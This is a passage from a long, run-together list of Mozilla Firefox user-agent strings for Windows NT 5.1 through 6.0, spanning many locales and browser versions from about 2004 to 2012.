NT 5.1; it; rv:1.9b2) Gecko/2007121120 Firefox/3.0b2 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 GTB7.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 GTB7.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.2.25) Gecko/20111212 Firefox/3.6.25 (.NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 (.NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; lt; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.1) Gecko/20061204 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1) Gecko/20060918 Firefox/2.0b2 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 GTB6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 GTB6 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.9.2.7) Gecko/20100713 Firefox/3.6.7 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ro-RO; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; ro; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.12) Gecko/20100824 MRA 5.7 (build 03755) Firefox/3.5.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.7 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:15.0) Gecko/20121011 Firefox/15.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20040911 Firefox/0.10.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20040913 Firefox/0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20040913 Firefox/0.10.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 (.NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; tr-TR; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; uk; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.4) Gecko/20100503 Firefox/3.6.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.7.5) Gecko/20041119 Firefox/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 GTB6 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 GTB7.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 Mozilla/5.0 (Windows; U; Windows NT 5.2; da; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.4) Gecko/20091007 Firefox/3.5.4 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1b3pre) Gecko/20090105 Firefox/3.1b3pre Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 (.NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 (.NET CLR 3.0.04506.648) Mozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 Mozilla/5.0 (Windows; U; Windows NT 5.2; nl; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.2; nl; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 Mozilla/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11 Mozilla/5.0 (Windows; U; Windows NT 5.2; rv:1.7.3) Gecko/20041001 Firefox/0.10.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11 Mozilla/5.0 (Windows; U; Windows NT 5.2; rv:1.9.2) Gecko/20100101 Firefox/3.6 Mozilla/5.0 (Windows; U; Windows NT 5.2; sk; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15 Mozilla/5.0 (Windows; U; Windows NT 5.2 x64; en-US; rv:1.9a1) Gecko/20060214 Firefox/1.6a1 Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.1.5) Gecko/Firefox/3.5.5 Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-TW; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 Mozilla/5.0 (Windows; U; Windows NT 6.0; bg; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; de-AT; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 4.0.20506) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.15) Gecko/2009101601 Firefox 2.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.2) Gecko/20090729 Firefox/2.0.0.15 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 (.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.0 (.NET CLR 3.0.30618) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.13) Gecko/20101203 Firefox/3.5.9 (de) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 (.NET CLR 3.5.30729) FirePHP/0.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.10) Gecko/20100504 Firefox/3.5.10 GTB7.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 (.NET CLR 4.0.20506) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.15) Gecko/20110303 AskTbBT4/3.11.3.15590 Firefox/3.6.15 (.NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 (.NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 (.NET CLR 3.5.30729; .NET CLR 4.0.20506) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.10pre) Gecko/20070207 Firefox/1.5.0.10pre Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en_US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1b2) Gecko/20060821 Firefox/2.0b2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.5.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.16) Gecko/20101130 MRA 5.4 (build 02647) Firefox/3.5.16 (.NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.21022; .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 (.NET CLR 3.5.30729) FirePHP/0.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b2) Gecko/20081127 Firefox/3.1b1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b3) Gecko/20090405 Firefox/3.1b3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 (.NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET CLR 3.5.21022) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100527 Firefox/3.6.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100527 Firefox/3.6.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 Mozilla/5.0 (Windows; U; Windows NT 6.0; es-AR; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; es-MX; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; fi; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.1b1) Gecko/20081007 Firefox/3.1b1 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 Mozilla/5.0 (Windows; U; Windows NT 6.0; hu; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 Mozilla/5.0 (Windows; U; Windows NT 6.0; id; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; it-IT; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 GTB7.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 GTB6 Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ko; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET 